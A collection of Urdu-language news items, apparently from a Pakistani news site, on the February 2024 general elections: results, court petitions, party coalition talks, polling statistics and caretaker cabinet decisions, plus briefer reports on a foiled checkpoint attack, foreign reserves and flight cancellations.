استحکام پاکستان پارٹی کے عبدالعلیم خان این اے 117 لاہور سے الیکشن جیت کر پہلی مرتبہ قومی اسمبلی کے ممبر بنیں گے، اس کے علاوہ این اے 40 سے جے یو آئی کے مفتی مصباح الدین بھی پہلی مرتبہ قومی اسمبلی جائن کرے گے۔

کسی پارٹی کی حمایت کے بغیر جیتنے والے آزاد امیدواروں میں این اے 128 عون چوہدری، این اے 54 سے عقیل ملک، این اے 189 شمشیر مزاری اور این اے 253 میاں خان شامل ہیں۔
اسی طرح این اے 251 سے پی این اے پی کے خوشحال خان کاکڑ، این اے 258 پنجگور سے نیشنل پارٹی کے امیدوار پھلین اور این اے 37 سے ایم ڈبلیو ایم پی حامد حسین بھی پہلی مرتبہ قومی اسمبلی میں اپنی جماعت کی نمائندگی کرینگے۔

لاہور ہائیکورٹ نے مریم نواز سمیت 18 افراد کی جیت کے خلاف درخواستیں مسترد کردیں

لاہور ہائیکورٹ نے مریم نواز، عطا تارڑ اور خواجہ آصف سمیت انتخابات جیتنے والے 18 افراد کے حلقوں کے نتائج کے خلاف درخواستیں خارج کردیں۔

جسٹس علی باقر نجفی نے محفوظ فیصلے سناتے ہوئے قرار دیا کہ مذکورہ درخواستیں قابل سماعت نہیں ہیں۔

لاہورہائیکورٹ نے درخواست گزاروں کو الیکشن کمیشن سے رجوع کرنے کا حکم دیا ہے۔
یاد رہے کہ مریم نواز، خواجہ آصف، عطا اللہ تارڑ، عون چوہدری اور عبدالعلیم خان سمیت 18 حلقوں کے نتائج کو چینلج کیا گیا تھا۔

انتخابی نتائج کے خلاف درخواستیں انتخابات ہارنے والے سلمان اکرم راجہ اور ریحانہ ڈارسمیت دیگرنے دائرکی تھیں۔

قبل ازیں جسٹس علی باقر نجفی نے ان درخواستوں پر فیصلہ محفوظ کرلیا تھا۔ درخواست گزاروں نے فارم 47 کے نتائج کو چیلنج کیا تھا۔

12سے 13 دہشت گردوں کا قبول خان چیک پوسٹ میانوالی پر حملہ ناکام بنا دیا گیا ، ترجمان

میانوالی میں پولیس چیک پوسٹ پر دہشت گردوں کا حملہ ناکام بنا دیا گیا
میانوالی میں خیبرپختونخوا بارڈر پر قبول خیل کے مقام پر پولیس چیک پوسٹ دہشت گردوں کا حملہ ناکام بنادیا گیا۔

پنجاب پولیس کے مطابق رات گئے 10 سے 12 دہشت گردوں نے چیک پوسٹ پر 3 اطراف سے حملہ کیا، دہشت گردوں کی طرف سے جدید اسلحے سے شدید فائرنگ کی گئی جبکہ پولیس نے بہترین حکمت عملی اور جدید سہولیات سے حملہ ناکام بنادیا۔

پولیس نے بتایا کہ پولیس کے جوانوں کی جوابی فائرنگ سے رات کی تاریکی کا فائدہ اٹھا کر تمام دہشت گرد فرار ہوگئے۔

پولیس کے مطابق دہشت گردوں کی گرفتاری کے لیے علاقے میں سرچ آپریشن جاری ہے۔

فضا نعرہ تکبیر اور پنجاب پولیس زندہ باد کے فلگ شگاف نعروں سے فضاء گونج اٹھی۔

ڈی پی او میانوالی پولیس کی بھاری نفری کے ہمراہ موقع پر پہنچ گئے، انہوں نے کہا کہ دہشت گردی کے خلاف پنجاب پولیس کے حوصلے بلند ہیں، دہشت گردوں کا ہر طرح سے مقابلہ کے لیے تیار ہیں، عوام کی جان ومال کی حفاظت ہماری اولین ذمہ داری ہے۔

آئی جی پنجاب عثمان انوار نے دہشت گردوں کا حملہ ناکام بنانے پر پولیس ٹیم کو شاباش دی ہے۔

مسلم لیگ ن اور پاکستان پیپلز پارٹی میں سیاسی تعاون پر اصولی اتفاق رائے

چیئرمین پاکستان پیپلز پارٹی بلاول بھٹو زرداری اور سربراہ پاکستان پیپلز پارٹی پارلیمنٹیرین و سابق صدر آصف علی زرداری کی سربراہ پاکستان مسلم لیگ ن میاں محمد شہباز شریف لاہور بلاول ہاؤس میں ملاقات، ملاقات سیاسی تعاون پر اصولی اتفاق رائے طے پا گیا۔

لاہور میں بلاول ہاؤس میں مسلم لیگ ن اور پاکستان پیپلز پارٹی میں سیاسی تعاون پر اصولی اتفاق رائے قائم ہوگئی ملاقات میں ملک کی مجموعی صورتحال اور مستقبل میں سیاسی تعاون پر تفصیلی بات چیت ہوئی ہے قائدین کا ملک کو سیاسی استحکام سے ہمکنار کرنے کے لئے سیاسی تعاون کرنے پراتفاق ہوا ہے۔

دونوں قیادتوں نے اتفاق رائے قائم کیا کہ سیاسی عدم استحکام سے ملک کو بچائیں گے، دونوں جماعتوں کے قائدین کا اصولی اتفاق ہوا ہے ملاقات میں دونوں جماعتوں نے صورتحال پر مشاورت کی اور تجاویز پر تبادلہ خیال کیا۔

پاکستان پیپلز پارٹی کی قیادت کا کہنا تھا کہ مسلم لیگ ن کی تجاویز کو سینٹرل ایگزیکٹو کمیٹی کے اجلاس میں سامنے رکھیں گےعوام کی اکثریت نے ہمیں مینڈیٹ دیا ہے، ہم عوام کو مایوس نہیں کریں گے۔

مسلم لیگ ن کے وفد میں اعظم نذیر تارڑ، ایاز صادق، احسن اقبال، رانا تنویر، خواجہ سعد رفیق، ملک احمد خان، مریم اورنگزیب اور شزا فاطمہ شامل ہیں۔

عام انتخابات سے قبل نگران وفاقی کابینہ کے بڑے فیصلے

نگران وفاقی حکومت نے عام انتخابات سے صرف 2 روز پہلے بڑے فیصلے کر لئے ہیں ۔وفاقی کابینہ نےپی آئی اے کی تنظیم نو ، فرسٹ وومن بینک لمیٹڈ کی نجکاری اور پشاور میں آٹھ احتساب عدالتوں میں سے چار کو اسپیشل کورٹ بنانے اور مختلف دواؤں کی قیمتیں ڈی ریگولیٹ کرنے کی تجاویزکی منظوری دیدی جبکہ پاکستان آرڈیننس فیکٹریز بورڈ کے رکن اور چیئرمین کے طور پر تعیناتی کی منظوری دے دی۔

نگران وزیراعظم انوار الحق کاکڑ کی زیر صدارت وفاقی کابینہ کا اجلاس منعقد ہوا۔وفاقی کابینہ نے وزارت دفاعی پیداوار کی سفارش پر لیفٹیننٹ جنرل طاہر حمید شاہ کی پاکستان آرڈیننس فیکٹریز بورڈ کے رکن اور چیئرمین کے طور پر تعیناتی کی منظوری دے دی۔جس کا اطلاق 29 نومبر 2023 سے ہو گا۔

وفاقی کابینہ نے وزارت خارجہ کی سفارش پر میجر عابد منصور خان کے لیے ان کی خدمات کے اعتراف میں سعودی عرب کی وزارت دفاع کی جانب سے “نوت شجاعت” اور “نوت شرف” کا ایوارڈ، وزارت خارجہ کی سفارش پر محمد اشرف خان، پروٹوکول افسر کے لیے ان کی خدمات کے اعتراف میں آسٹریا کی حکومت کی جانب سے گولڈ میڈل اور وزارت خارجہ کی سفارش پر ائیر کموڈور سید عمران علی کیلئے ان کی خدمات کے اعتراف میں پاکستانی سفارت خانہ ٹوکیو میں بطور ڈیفنس اتاشی خدمات سرانجام دینے پر ڈیفنس کوآپریشن ایوارڈ فرسٹ کلاس کا ایوارڈ وصول کرنے کی اجازت دے دی۔

وفاقی کابینہ نے وزارت قانون و انصاف کی سفارش اور چیف جسٹس پشاور ہائی کورٹ کی تجویز پر پشاور میں 8 میں سے 4 احتساب عدالتوں کو خصوصی عدالتوں میں بدلنے کی منظوری دے دی۔ اس کے علاوہ ان عدالتوں کے ججوں کی تقرری کے حوالے سے چیف جسٹس پشاور ہائیکورٹ کی تجویز منظور کر لی گئی ہے۔ جبکہ باقی عدالتیں احتساب عدالتوں کے طور پر کام کرتی رہیں گی۔
نگرا ن وفاقی کابینہ نے نجکاری ڈویژن کی سفارش پر پاکستان انٹرنیشنل ایئرلائنز (پی آئی اے) کی تنظیم نو کی منظوری دے دی۔ اجلاس کو بتایا گیا کہ پی آئی اے گزشتہ کئی برسوں سے خسارے میں ہے۔ کابینہ کے گزشتہ اجلاسوں میں پی آئی کی مالی و انتظامی تنظیم نو کے لیے فنانشل ایڈوائزر کی تقرری کی منظوری دی گئی۔

فنانشل ایڈوائزر کی جانب سے بین الاقوامی مثالوں کو مدنظر رکھتے ہوئے پی آئی اے کی مالیاتی تنظیم نو کا منصوبہ تشکیل دیا گیا جس کے تحت پی آئی اے کو دو کمپنیوں ٹاپ-کو اور ہولڈ-کو میں تقسیم کر دیا جائے گا۔وفاقی کابینہ نے کابینہ کی ذیلی کمیٹی برائے نجکاری کو حکومتی ملکیتی اداروں کے پی آئی اے پر تصفیہ طلب رقوم کے حوالے سے معاملات جلد نمٹانے کے ہدایت بھی دی۔

وفاقی کابینہ نے وزارت نجکاری کی سفارش پر فرسٹ وویمن بینک لمیٹڈ کی نجکاری کی منظوری دے دی۔ وفاقی کابینہ نے وزارت قومی صحت کی سفارش پر ان ادویات کی قیمتوں کی ڈی-ریگولیشن کے حوالے سے تجاویز کی منظوری دے دی جو کہ انتہائی ضروری ادویات کی نیشنل لسٹ میں شامل نہیں ہیں۔

ان تجاویز کے تحت نیشنل لسٹ میں موجود انتہائی ضروری ادویات کے علاوہ ادویات کی قیمتوں کو ڈرگ ایکٹ 1976 سے مستثنیٰ قرار دیا جائے گا اور ڈرگ پرائیسنگ پالیسی 2018 میں ضروری ترامیم کی جائیں گی۔ مزید برآں پاکستان میڈیکل اینڈ ڈینٹل کونسل اس بات کو یقینی بنائے گی کہ ڈاکٹر کی جانب سے مریضوں کو وٹامنز ، ملٹی وٹامنز ، منرلز اور اوور دی کائونٹر مصنوعات تجویز نہیں کی جائے گی۔

ڈرگ ریگولیٹری اتھارٹی وٹامنز ، ملٹی وٹامنز ، منرلز اور اوور دی کائونٹر مصنوعات کی فہرست مروجہ عالمی معیار کے مطابق مرتب کرے گی اور اس حوالے سے صوبائی حکومتوں سے بھی رابطے میں رہے گی۔ وفاقی کابینہ نے اقتصادی رابطہ کمیٹی کے 01یکم فروری 2024 کو منعقد ہونے والے اجلاس میں کئے گئے فیصلوں کی توثیق کر دی۔

انتخابات 2024: وہ معلومات اور اعدادوشمار جو آپ جاننا چاہیں گے

ملک میں جمعرات 8 فروری کو ہونے والے عام انتخابات میں 12 کروڑ 85 لاکھ 85 ہزار 760 رجسٹرڈ ووٹرز قومی اور صوبائی اسمبلیوں کے 855 حلقوں میں اپنے امیدواروں کا انتخاب کریں گے جبکہ 4 انتخابی حلقوں میں امیدواروں کے انتقال کرجانے کی وجہ سے پولنگ ملتوی کر دی گئی ہے۔

پاکستان بھر میں 14 لاکھ 90 ہزار انتخابی عملہ اپنی ذمہ داریاں سرانجام دے گا۔ انتخابات کے لیے 90 ہزار 675 پولنگ اسٹیشنز اور 2 لاکھ 66 ہزار 398 پولنگ بوتھ قائم کیے گئے ہیں۔

حلقے کا غیر حتمی غیر سرکاری نتیجہ ریٹرننگ آفیسر کے دفاتر سے جاری کیا جائے گا۔ الیکشن کمیشن کی جانب سے جاری تفصیلات کے مطابق پولنگ صبح 8 بجے سے بغیر کسی وقفہ کے شام 5 بجے تک جاری رہے گی۔
اسلام آباد کے کل حلقے اور ووٹرز کی تعداد
اسلام آباد سے قومی اسمبلی کی 3 نشستیں ہیں جن پر 10 لاکھ 83 ہزار 29 ووٹرز اپنے نمائندوں کاانتخاب کریں گے۔

پنجاب
پنجاب کی قومی اسمبلی کی 141 اور صوبائی اسمبلی کی 297 نشستوں پر اپنے نمائندوں کے انتخاب کے لیے 7 کروڑ 32 لاکھ 7 ہزار 896 ووٹرز اپنا حق رائے دہی استعمال کریں گے۔

سندھ
سندھ کی قومی اسمبلی کی 61 اور صوبائی اسمبلی کی 130 نشستوں پر اپنے نمائندوں کے انتخاب کے لیے 2 کروڑ 69 لاکھ 94 ہزار 769 ووٹرز اپنا حق رائے دہی استعمال کریں گے۔

خیبرپختونخوا
خیبرپختونخوا کی قومی اسمبلی کی 45 اور صوبائی اسمبلی کی 115 نشستوں پر اپنے نمائندوں کے انتخاب کے لیے 2 کروڑ 19 لاکھ 28 ہزار 119 ووٹرز اپنا حق رائے دہی استعمال کریں گے۔

بلوچستان
بلوچستان کی قومی اسمبلی کی 16 اور بلوچستان اسمبلی کی 51 نشستوں پر اپنے نمائندوں کے انتخاب کے لیے 53 لاکھ 71 ہزار 947 ووٹرز اپنا حق رائے دہی استعمال کریں گے۔

قومی اسمبلی کے ایک، صوبائی کے 3 حلقوں پر پولنگ ملتوی
قومی اسمبلی کے حلقہ این اے 8 باجوڑ، پی کے 22 باجوڑ، پی کے 91 کوہاٹ اور پنجاب اسمبلی کے حلقہ پی پی 266 رحیم یار خان میں امیدواروں کی وفات کی وجہ سے پولنگ ملتوی کی گئی ہے۔

وفاق اور صوبوں میں انتہائی حساس پولنگ اسٹیشن کتنے؟
ملک بھر میں 16 ہزار 766 پولنگ اسٹیشن انتہائی حساس، 29 ہزار 985 حساس جبکہ 44 ہزار 26 پولنگ اسٹیشنز نارمل قرار دیے گئے ہیں۔

پنجاب میں 5 ہزار 624 پولنگ اسٹیشنز حساس ترین ہیں۔ ان پر فی پولنگ اسٹیشن 5 اہلکار تعینات کیے جائیں گے۔

سندھ میں 4 ہزار 430 پولنگ اسٹیشنز انتہائی حساس ہیں جہاں فی پولنگ اسٹیشن 8 اہلکار تعینات ہوں گے۔
خیبرپختونخوا میں 4 ہزار 265 حساس ترین پولنگ اسٹیشنز ہیں۔ ان پر 9 اہلکار فی پولنگ سٹیشن تعینات ہوں گے۔

بلوچستان میں 1047 انتہائی حساس پولنگ اسٹیشنوں میں ہر ایک پر 9 اہلکار تعینات ہوں گے۔ اس روز الیکشن کمیشن کی جانب سے ملک بھر میں عام تعطیل کا اعلان کیا گیا ہے۔

الیکشن کمیشن کی جانب سے جاری کیے گئے ضابطہ اخلاق کے مطابق پہلے درجے میں سکیورٹی کی ذمہ داری پولیس جبکہ دوسرے درجے میں سول آرمڈ فورسز اور تیسرے درجے میں افواج پاکستان کی ہو گی۔ میڈیا کی جانب سے پولنگ سٹیشنوں کے نتائج پولنگ ختم ہونے کے ایک گھنٹہ بعد جاری کئے جا سکیں گے۔ ووٹ اصل قومی شناختی کارڈ پر ہی ڈالا جا سکے گا تاہم زائد المیعاد قومی شناختی کارڈ بھی قابل قبول ہوں گے۔

بیلٹ پیپرز کتنے چھاپے گئے؟
الیکشن کمیشن کی جانب سے اس سال عام انتخابات کے لیے 26 کروڑ بیلٹ پیپرز چھاپے گئے ہیں جن کی ترسیل کا کام مکمل کر لیا گیا ہے۔

عام انتخابات کے نتائج کی ترسیل و تدوین کے لیے الیکشن مینجمنٹ سسٹم (ای ایم ایس) استعمال کیا جائے گا۔

مجسٹریٹ کے اختیارات، فوج تعینات
پولنگ اسٹیشن پر امن و امان کی صورتحال کو کنٹرول کرنے کے لیے پریزائیڈنگ افسران کو مجسٹریٹ درجہ اول کے اختیارات دیے گئے ہیں۔ حساس ترین پولنگ اسٹیشنوں کے باہر پاک فوج تعینات ہو گی۔

انتخابی سامان کی پولنگ اسٹیشن تک ترسیل، گنتی اور اس کی ریٹرننگ افسران کے دفاتر تک واپسی کے لیے سکیورٹی کی ذمہ داری افواج پاکستان کی ہو گی۔ مجاز مبصرین اور میڈیا کو پولنگ اسٹیشن میں داخلے کی اجازت ہو گی۔

افسران کی تعداد
ملک بھر میں 144 ڈسٹرکٹ ریٹرننگ افسران، 859 ریٹرننگ و اسسٹنٹ ریٹرننگ افسران کی تعیناتی کی گئی ہے۔

کل ایک لاکھ 91 ہزار 526 پریزئیڈانگ افسران اور 7 لاکھ 85 ہزار 60 اسسٹنٹ پریزائیڈنگ افسران تعینات کیے گئے ہیں۔ 5 ہزار ڈیٹا انٹری آپریٹرز کو ای ایم ایس کے ذریعے نتائج کی تدوین و ترسیل کے لیے ریٹرننگ افسران کے ساتھ منسلک کیا گیا ہے۔

عام انتخابات 2024 کیلئے انتخابی مہم کا آج آخری روز، پولنگ کے سامان کی ترسیل بھی مکمل

ملک بھر میں 8 فروری کو شیڈول عام انتخابات 2024 کے لئے انتخابی مہم کا آج آخری روز ہے اور رات 12 بجے کے بعد کوئی بھی امیدوار کسی سیاسی سرگرمی میں شریک نہیں ہوگا۔

الیکشن کمیشن آف پاکستان ( ای سی پی ) کی جانب سے جاری کردہ اعلامیہ کے مطابق عام انتخابات 2024 کے لئے انتخابی مہم کا وقت منگل کی رات 12 بجے ختم ہو جائے گا جس کے بعد کوئی بھی امیدوار کسی قسم کی سیاسی سرگرمی میں شرکت نہیں کر سکے گا۔

الیکشن کمیشن کے مطابق انتخابی مہم کا وقت ختم ہونے کے بعد خلاف ورزی کرنے والے کے خلاف قانونی کارروائی عمل میں لائی جائے گی۔

الیکشن کمیشن کے مطابق میڈیا پولنگ کے اختتام کے ایک گھنٹہ گزرنے کے بعد نتائج نشرکر سکتا ہے ،میڈیا پریہ واضح طور پر بتایاجائے گا کہ یہ رزلٹ غیر حتمی و غیر سرکاری ہیں۔

اعلامیہ کے مطابق ریٹرننگ آفیسرز پولنگ اسٹیشنز کا مکمل غیرحتمی رزلٹ جاری کریں گے ، میڈیا انتخابی عمل کے دوران ضابطہ اخلاق کی پابندی کرے گا۔

خلاف ورزی پر پیمرا اور پی ٹی اے کو قانونی کارروائی کرنے کی ہدایات جاری کرد ی گئی ہیں۔

عام انتخابات کیلئے پولنگ کے سامان کی ترسیل بھی مکمل ہوگئی ہے۔

دوسری جانب محکمہ داخلہ پنجاب کے مطابق انتخابات کے دوران امن و امان کی صورتحال برقرار رکھنے کے لئے لاہور، قصور، شیخوپورہ میں پاک فوج کے جوان پہنچ گئے ہیں  جبکہ منڈی بہاوالدین ، چکوال  ، جہلم  اور سرگودھا سمیت دیگراضلاع میں فوج کے دستے کل پہنچیں گے۔

محکمہ داخلہ کے مطابق تمام اضلاع اس سلسلے میں پاک فوج سے رابطے میں ہیں ، الیکشن میں امن و امان کی صورتحال کو یقینی بنانا اولین ترجیح ہے، صوبہ بھر میں الیکشن کے انتظامات کو مانیٹر کیا جارہا ہے، حساس پولنگ سٹیشنز پر سی سی ٹی وی کیمروں کی تنصیب کا کام بھی جاری ہے۔

بشریٰ بی بی اڈیالہ سے بنی گالہ منتقل، رہائش گاہ سب جیل قرار

توشہ خانہ ریفرنس میں اپنے شوہر سابق وزیراعظم اور بانی پی ٹی آئی عمران خان کے ساتھ سزا پانے والے سابق خاتون اول بشریٰ بی بی کو اڈیالہ جیل سے بنی گالہ ان کی رہائش گاہ منتقل کردیا گیا۔

احتساب عدالت سے توشہ خانہ ریفرنس میں عمران خان کے ساتھ سزا کا سامنا کرنے والی سابق خاتون اول بشریٰ بی بی کو اڈیالہ جیل سے بنی گالہ منتقل کردیا گیا۔ بنی گالہ واقع ان کی رہائش گاہ کو سب جیل قرار دیا گیا ہے۔
پنجاب کے ضلع پاکپتن سے تعلق رکھنے والی بشریٰ بی بی کی 2018 میں عمران خان سے شادی ہوئی، یہ عمران خان کا تیسرا جبکہ بشریٰ بی بی کا دوسرا نکاح تھا۔ شادی کے بعد بشریٰ بی بی بنی گالہ شفٹ ہوگئی تھیں، جب تک عمران خان وزیر اعظم تھے تو بشریٰ بی بی بنی گالہ میں ہی رہائش پذیرتھیں۔ 8 مارچ 2022 کو اپوزیشن جماعتوں کی طرف سے عمران خان کے خلاف تحریک عدم اعتماد پیش کی گئی تو عمران حکومت کا وفاق سے خاتمہ ہوگیا۔ اس دوران بشریٰ بی بی کچھ عرصے بعد اپنے خاوند عمران خان کے ساتھ لاہور کے زمان پارک میں شفٹ ہوگئیں
بشریٰ بی بی لاہور میں رہائش پذیر ہوئیں تو اس وقت پنجاب کے وزیر اعلیٰ پرویز الٰہی تھے، عمران خان نے بنی گالہ سے لانگ مارچ شروع کیا تو بشریٰ بی بی ساتھ رہیں۔ 3 نومبر 2022 کو لانگ مارچ کے دوران عمران خان پر فائرنگ ہوئی اور انکی ایک ٹانگ فریکچر ہوگئی جس کے بعد بشری بی بی نے عمران خان کا بہت خیال رکھا۔

مارچ 2023 کو جب عمران خان کی گرفتاری کے لیے اسلام آباد پولیس اور لاہور پولیس کوششیں کرتی رہی تو اس دوران بشریٰ بی بی ڈھال بن کر سامنے آئیں اور اپنے خاوند کا بھر پور ساتھ دیا، لیکن انہوں نے زمان پارک نہیں چھوڑا۔ زمان پارک والے گھر کی دوبارہ تزئین و آرائش بھی بشریٰ بی بی کے کہنے پر کی گئی تھی، اس دوران جو کچھ بھی ہوا بشریٰ بی بی نے زمان پارک والا گھر نہیں چھوڑا۔
ذرائع کے مطابق بشریٰ بی بی گھر میں رہ کر تسبیح اور عبادات میں مصروف رہتی تھیں، جب سے عمران خان گرفتار ہوئے ہیں بشریٰ بی بی کا زیادہ وقت عبادات ہی میں گزر رہا تھا۔ عمران خان کے جانے کی وجہ سے گھر پہلے ہی سنسان تھا، تاہم اب بشریٰ بی بی کی گرفتاری کے بعد زمان پارک مزید ویران ہوگیا ہے۔

ایک زمانہ تھا کہ جب زمان پارک کے باہر میلا لگا رہتا تھا لیکن اب نہ باہر کوئی رہتا ہے اور نہ ہی اندر کوئی رہ گیا ہے، چند ملازم ہیں جو زمان پارک والے گھر میں اب بھی موجود ہیں۔

2 دہائیاں ،4عام انتخابات ،9وزیر اعظم: 2024انتخابی میدان میں کتنےسابق وزرائے اعظم میدان میں؟

اگر پاکستان کی 70 سالہ سیاسی تاریخ کا جائزہ لیا جائے تو اتنے حیران کن واقعات سامنے آئیں گے ، صرف وزرائے اعظم کے عہدہ سنبھالنے ، عہدے پر قائم رہنےا ور گھر روانگی کی تاریخ بھی بہت دلچسپ ہے ۔

پاکستان کی 20سالہ انتخابی تاریخ کی بات کریں تو 4 جنرل الیکشن2002،2008،2013اور2018 کا انقعاد ہوا ۔آئین پاکستا ن کے مطابق وزیر اعظم بھی چار ہونے چاہیے مگر یہاں سابق وزیر اعظموں کی تعداد ڈبل سے ایک زیادہ یعنی9ہے۔ 9وزیر اعظم وفاق میں عوام کے نمائندے کے طور پر اقتدار کی کرسی پر براجمان ہوئے۔سوال یہ ہے کہ 8فروری کو ہونے والے انتخابات میں کون کون سے سابق وزرائے اعظم حصہ لے رہے ہیں؟

سابق وزرائے اعظم کن کن حلقوں سے الیکشن لڑیں گے؟

ملک میں آئندہ ماہ ہونےوالے انتخابات میں صرف 4سابق وزرائے اعظم حصہ لے رہے ہیں ۔ان میں مسلم لیگ ن کے سربراہ اور تین بار وزیر اعظم رہنے والے میاں محمد نواز شریف اور ان کے بھائی میاں محمد شہباز شریف شامل ہیں جبکہ دوسری جانب پیپلزپارٹی سے تعلق رکھنے والے سید یوسف رضا گیلانی اور راجہ پرویز اشرف بھی انتخابی میدان میں اپنی قسمت پھر سے آزمائیں گے۔یہ چاروں سابق وزرائے اعظم کن کن حلقوں سے الیکشن لڑ رہے ہیں انکی تفصیل درجہ ذیل ہے۔

سابق وزیر اعظم میں محمد نواز شریف قومی اسمبلی کے دو حلقوں سے اپنی قسمت آزمائیں گےجس میں کے پی کےضلع مانسہرہ حلقہ این اے 15اور پنجاب کے ضلع لاہور این اے 130 شامل ہیں ۔سابق وزیر اعظم میاں محمد شہباز شریف ضلع لاہور سے این اے 123 سےضلع قصور سے این اے 132سے الیکشن لڑ رہے ہیں۔سابق وزیر اعظم سید یوسف رضا گیلانی پیپلزپارٹی کے ٹکٹ پر ضلع ملتان سے قومی اسمبلی کی نشست این اے148سے اور سابق وزیر اعظم راجہ پرویز اشرف ضلع راولپنڈی سے این اے52 سے پیپلزپارٹی کے ٹکٹ پر الیکشن میں حصہ لے رہے ہیں۔

چاروں سابق وزرائے اعظم کے مد مقابل امیدوارکون؟

پیپلزپارٹی کے سابق وزیر اعظم راجہ پرویز اشرف کے مد مقابل آزاد امیدوار (تحریک انصاف کے حمایت یافتہ۔انتخابی نشان پیالہ) طارق عزیز بھٹی ایڈووکیٹ ،مسلم لیگ ن کے راجہ محمد جاوید اخلاص اور جماعت اسلامی کے چودھری عابد حسین ہیں۔

میاں محمد نواز شریف این اے 15 مانسہرہ سے حصہ رہے ہیں ۔اس حلقے میں ان کے مد مقابل آزاد امیدوار (تحریک انصاف کے حمایت یافتہ )شہزادہ محمد گستاسف خان ،جمعیت علماء اسلام نےمفتی کفایت اللہ ،پیپلزپارٹی کے زرگل خان،جماعت اسلامی کے خالد خان یوسفزئی ہوں گے۔لاہور این اے 130کی بات کریں تو یہ حلقہ مسلم لیگ ن کا آبائی حلقہ اور گڑھ کہلاتا ہے۔اس حلقے سے نواز شریف کے مد مقابل آزاد امیدوار (تحریک انصاف کی حمایت یافتہ ،انتخابی نشان لیپ ٹاپ)ڈاکٹر یاسمین راشد، پیپلزپارٹی سے اقبال احمد خان،جماعت اسلامی کے خلیق احمد بٹ ہیں۔

سابق وزیر اعظم میاں محمد شہباز شریف پنجاب سے اپنی قسمت آزما رہے ہیں۔این اے 123لاہور سے ان کے مد مقابل آزاد امیدوار (تحریک انصاف کے حمایت یافتہ انتخابی نشان ریڈیو) افضال عظیم ایڈووکیٹ ،پیپلزپارٹی کے رانا ضیاء الحق،اور جماعت اسلامی کے لیاقت بلوچ اہم امیدواروں میں شامل ہیں۔

ضلع قصور سے این اے 132سے ان کے مقابلے میں آزاد امیدوار(پاکستان تحریک انصاف کا حمایت یافتہ۔انتخابی نشان کرکٹ وکٹ)سردار محمد حسین ڈوگر،پیپلزپارٹی کے شاہین صفدر اور جماعت اسلامی کے نعیم حیدر ہیں۔

سابق وزیر اعظم یوسف رضا گیلانی کے مد مقابل آزاد امیدوار(تحریک انصاف کا حمایت یافتہ،انتخابی نشان گھڑیال)بیرسٹر تیمور ملک،مسلم لیگ ن کے احمد حسین ڈیہڑ ہیں ۔

2018 ان حلقوں میں کون جیتا کون ہارا؟

این اے 15مانسہرہ 2018 کے الیکشن میں اس حلقے سے مسلم لیگ ن کامیاب ہوئی،تحریک انصاف کے امیدوار زر گل 20ہزار ووٹوں کے مارجن سے ہار گئے تھے۔واضح رہے رزگل خان تحریک انصاف کو چھوڑ کر پیپلزپارٹی میں شامل ہو گئے ہیں۔این اے 130نواز شریف کے اس حلقےکی بات کریں تو 2018 کے انتخابات میں یہ حلقہ این اے 125تھا جہاں سے میاں محمد نواز شریف تا حیات نااہلی کی وجہ سے الیکشن نہیں لڑ سکے تھے ان کی جگہ وحید عالم خان مسلم لیگ ن کے ٹکٹ پر123066ووٹ لے کر کامیاب ہوئے جبکہ ان کے مد مقابل تحریک انصاف کی ڈاکٹر یاسمین راشد17ہزار186ووٹوں کے مارجن سے شکست کھا گئی تھیں۔

2018 میں یہ حلقہ این اے 132تھا جہاں سے میاں محمد شہباز شریف ہی کامیاب ہوئے تھے انہوں نے تحریک انصاف کے امیدوار محمد منشاسندھو کو 46ہزار 771ووٹوں سے شکست دی تھی۔سابق وزیر اعظم شہباز شریف جس حلقے سے الیکشن لڑ رہےہیں گزشتہ انتخاب میں اس حلقے سے راشید احمد خان 1لاکھ ووٹ لے کر کامیا ب ہوئے انہوں نے تحریک انصاف کےامیدوار سردار راشد طفیل کو 50ہزار سے زائد ووٹوں سے شکست دی تھی۔راجہ پرویز اشرف 2018 کےانتخابات میں اپنے حلقے سے 1لاکھ 25ہزار سے زائد ووٹ لے کر کامیاب ہوئے تھے۔سابق وزیر اعظم یوسف رضا گیلانی کا حلقہ 2018میں این اے 154تھا تحریک انصاف کے احمد حسین ڈیہڑ کامیاب ہوئے تھے انہوں نے یوسف رضا گیلانی کے بیٹے عبد القادر گیلانی کے بیٹے کو 10ہزارو وٹوں کے مارجن سے شکست دی تھی۔واضح رہے احمد حسین ڈیہڑ اب مسلم لیگ ن میں شامل ہو گئے ہیں۔

کیاان حلقوں میں اب بھی کانٹے دار مقابلہ متوقع ہے؟

انتخابی سیاست کا پہلا اصول ،انتخابی ٹکٹ اس حلقہ کا حاصل کیا جائے جہاں کامیابی یقینی ہو ۔اگر 4سابق وزرائے اعظم کےانتخابی حلقوں کو دیکھا جائے تو سب نے ان حلقوں سے الیکشن لڑنے کا فیصلہ کیا جہاں جیت یقینی ہو۔میاں محمد نواز شریف مانسہرہ سے اپنے داماد کپٹن صفدر کے آبائی حلقے سے الیکشن لڑ رہے ہیں۔دوسرا اہم حلقہ لاہور گوالمنڈی مسلم لیگ ن کا گڑھ ہے۔

سینئر صحافی مبشر بخاری کا کہنا ہے کہ ’اس حلقے میں 2018کے مقابلے میں کانٹے دار مقابلہ نہیں ہو گا اس کی بنیادی وجہ یہ ہے کہ ڈاکٹر یاسمین راشد جیل میں ہیں اور ان کی انتخابی مہم اس طرح سے نہیں ہو رہی جیسے گزشتہ انتخاب میں ہو۔

ملکی زرمبادلہ ذخائر میں 19 کروڑ 60 لاکھ ڈالر کا اضافہ

اسٹیٹ بینک آف پاکستان کا کہنا ہے کہ ملکی زرمبادلہ کے ذخائر میں 19 کروڑ 60 لاکھ ڈالر کا اضافہ ریکارڈ کیا گیا ہے۔
اسٹیٹ بینک کے مطابق ملکی مجموعی زرمبادلہ کے ذخائر میں 19 جنوری 2024ء تک 19.6 کروڑ ڈالر جبکہ اسٹیٹ بینک کے ذخائر میں 24 کروڑ 30 لاکھ ڈالر کا اضافہ ہوا۔
اسٹیٹ بینک کا کہنا ہے کہ اضافے کے بعد ملکی زرمبادلہ کے ذخائر 19 جنوری تک 13.3 ارب ڈالر رہے۔
رپورٹ کے مطابق اسٹیٹ بینک کے ذخائر 24.3 کروڑ ڈالر اضافے سے 8.27 ارب ڈالر جبکہ کمرشل بینکوں کے زرمبادلہ ذخائر 4.7 کروڑ ڈالر کم ہوکر 5.07 ارب ڈالر رہے۔
واضح رہے کہ گزشتہ ہفتے کے دوران آئی ایم ایف سے 70 کروڑ 50 لاکھ ڈالر ملے تھے، بیرونی قرض ادائیگی کے باعث اسٹیٹ بینک کے ذخائرمیں بڑا اضافہ نہ ہوسکا۔

دھند کی وجہ سے ملک بھر کی 24 پروازیں منسوخ کردی گئیں

